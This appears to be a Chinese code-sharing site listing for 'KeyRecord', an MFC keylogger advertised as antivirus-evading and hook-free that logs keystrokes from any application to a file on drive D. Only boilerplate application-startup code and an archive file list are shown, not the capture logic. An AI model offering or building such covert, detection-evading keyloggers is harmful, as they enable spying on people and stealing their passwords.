資源簡(jiǎn)介
免殺、未使用hook鉤子 。基于vs2013開(kāi)發(fā)的監(jiān)控鍵盤(pán)對(duì)任何應(yīng)用程序的操作,日志文件在D盤(pán)。key.txt
代碼片段和文件信息
//?KeyRecord.cpp?:?定義應(yīng)用程序的類行為。
//
#include?“stdafx.h“
#include?“KeyRecord.h“
#include?“KeyRecordDlg.h“
#ifdef?_DEBUG
#define?new?DEBUG_NEW
#endif
//?CKeyRecordApp
BEGIN_MESSAGE_MAP(CKeyRecordApp?CWinApp)
ON_COMMAND(ID_HELP?&CWinApp::onhelp)
END_MESSAGE_MAP()
//?CKeyRecordApp?構(gòu)造
CKeyRecordApp::CKeyRecordApp()
{
//?支持重新啟動(dòng)管理器
m_dwRestartManagerSupportFlags?=?AFX_RESTART_MANAGER_SUPPORT_RESTART;
//?TODO:??在此處添加構(gòu)造代碼,
//?將所有重要的初始化放置在?InitInstance?中
}
//?唯一的一個(gè)?CKeyRecordApp?對(duì)象
CKeyRecordApp?theApp;
//?CKeyRecordApp?初始化
BOOL?CKeyRecordApp::InitInstance()
{
//?如果一個(gè)運(yùn)行在?Windows?XP?上的應(yīng)用程序清單指定要
//?使用?ComCtl32.dll?版本?6?或更高版本來(lái)啟用可視化方式,
//則需要?InitCommonControlsEx()。??否則,將無(wú)法創(chuàng)建窗口。
INITCOMMONCONTROLSEX?InitCtrls;
InitCtrls.dwSize?=?sizeof(InitCtrls);
//?將它設(shè)置為包括所有要在應(yīng)用程序中使用的
//?公共控件類。
InitCtrls.dwICC?=?ICC_WIN95_CLASSES;
InitCommonControlsEx(&InitCtrls);
CWinApp::InitInstance();
AfxEnableControlContainer();
//?創(chuàng)建?shell?管理器,以防對(duì)話框包含
//?任何?shell?樹(shù)視圖控件或?shell?列表視圖控件。
CShellManager?*pShellManager?=?new?CShellManager;
//?激活“Windows?Native”視覺(jué)管理器,以便在?MFC?控件中啟用主題
CMFCVisualManager::SetDefaultManager(RUNTIME_CLASS(CMFCVisualManagerWindows));
//?標(biāo)準(zhǔn)初始化
//?如果未使用這些功能并希望減小
//?最終可執(zhí)行文件的大小,則應(yīng)移除下列
//?不需要的特定初始化例程
//?更改用于存儲(chǔ)設(shè)置的注冊(cè)表項(xiàng)
//?TODO:??應(yīng)適當(dāng)修改該字符串,
//?例如修改為公司或組織名
SetRegistryKey(_T(“應(yīng)用程序向?qū)傻谋镜貞?yīng)用程序“));
CKeyRecordDlg?dlg;
m_pMainWnd?=?&dlg;
INT_PTR?nResponse?=?dlg.DoModal();
if?(nResponse?==?IDOK)
{
//?TODO:??在此放置處理何時(shí)用
//??“確定”來(lái)關(guān)閉對(duì)話框的代碼
}
else?if?(nResponse?==?IDCANCEL)
{
//?TODO:??在此放置處理何時(shí)用
//??“取消”來(lái)關(guān)閉對(duì)話框的代碼
}
else?if?(nResponse?==?-1)
{
TRACE(traceAppMsg?0?“警告:?對(duì)話框創(chuàng)建失敗,應(yīng)用程序?qū)⒁馔饨K止。\n“);
TRACE(traceAppMsg?0?“警告:?如果您在對(duì)話框上使用?MFC?控件,則無(wú)法?#define?_AFX_NO_MFC_CONTROLS_IN_DIALOGS。\n“);
}
//?刪除上面創(chuàng)建的?shell?管理器。
if?(pShellManager?!=?NULL)
{
delete?pShellManager;
}
//?由于對(duì)話框已關(guān)閉,所以將返回?FALSE?以便退出應(yīng)用程序,
//??而不是啟動(dòng)應(yīng)用程序的消息泵。
return?FALSE;
}
?屬性????????????大小?????日期????時(shí)間???名稱
-----------?---------??----------?-----??----
?????目錄???????????0??2016-01-15?09:15??KeyRecord\
?????目錄???????????0??2016-01-15?09:15??KeyRecord\Debug\
?????文件????????2062??2016-01-15?09:15??KeyRecord\Debug\KeyRecord.Build.CppClean.log
?????文件?????????323??2016-01-15?09:15??KeyRecord\Debug\KeyRecord.log
?????文件???????42365??2016-01-15?09:15??KeyRecord\Debug\KeyRecord.obj
?????文件????43188224??2016-01-15?09:15??KeyRecord\Debug\KeyRecord.pch
?????文件???????69528??2016-01-15?09:15??KeyRecord\Debug\KeyRecord.res
?????目錄???????????0??2016-01-15?09:15??KeyRecord\Debug\KeyRecord.tlog\
?????文件???????73060??2016-01-15?09:15??KeyRecord\Debug\KeyRecord.tlog\CL.read.1.tlog
?????文件????????3372??2016-01-15?09:15??KeyRecord\Debug\KeyRecord.tlog\CL.write.1.tlog
?????文件?????????204??2016-01-15?09:15??KeyRecord\Debug\KeyRecord.tlog\KeyRecord.lastbuildstate
?????文件????????2696??2016-01-15?09:15??KeyRecord\Debug\KeyRecord.tlog\cl.command.1.tlog
?????文件????????2158??2016-01-15?09:15??KeyRecord\Debug\KeyRecord.tlog\li
?????文件????????5970??2016-01-15?09:15??KeyRecord\Debug\KeyRecord.tlog\li
?????文件????????1366??2016-01-15?09:15??KeyRecord\Debug\KeyRecord.tlog\li
?????文件?????????798??2016-01-15?09:15??KeyRecord\Debug\KeyRecord.tlog\rc.command.1.tlog
?????文件????????3200??2016-01-15?09:15??KeyRecord\Debug\KeyRecord.tlog\rc.read.1.tlog
?????文件?????????398??2016-01-15?09:15??KeyRecord\Debug\KeyRecord.tlog\rc.write.1.tlog
?????文件???????62877??2016-01-15?09:15??KeyRecord\Debug\KeyRecordDlg.obj
?????文件??????913885??2016-01-15?09:15??KeyRecord\Debug\stdafx.obj
?????文件?????2264064??2016-01-15?09:15??KeyRecord\Debug\vc120.idb
?????文件?????6647808??2016-01-15?09:15??KeyRecord\Debug\vc120.pdb
?????文件??????108684??2016-01-15?09:15??KeyRecord\KeyRecord.aps
?????文件????????2413??2016-01-15?09:15??KeyRecord\KeyRecord.cpp
?????文件?????????461??2016-01-15?09:15??KeyRecord\KeyRecord.h
?????文件???????10318??2016-01-15?09:15??KeyRecord\KeyRecord.rc
?????文件????????6157??2016-01-15?09:15??KeyRecord\KeyRecord.vcxproj
?????文件????????2069??2016-01-15?09:15??KeyRecord\KeyRecord.vcxproj.filters
?????文件????????5197??2016-01-15?09:15??KeyRecord\KeyRecordDlg.cpp
?????文件?????????724??2016-01-15?09:15??KeyRecord\KeyRecordDlg.h
?????文件????????3899??2016-01-15?09:15??KeyRecord\ReadMe.txt
............此處省略7個(gè)文件信息
評(píng)論
共有 條評(píng)論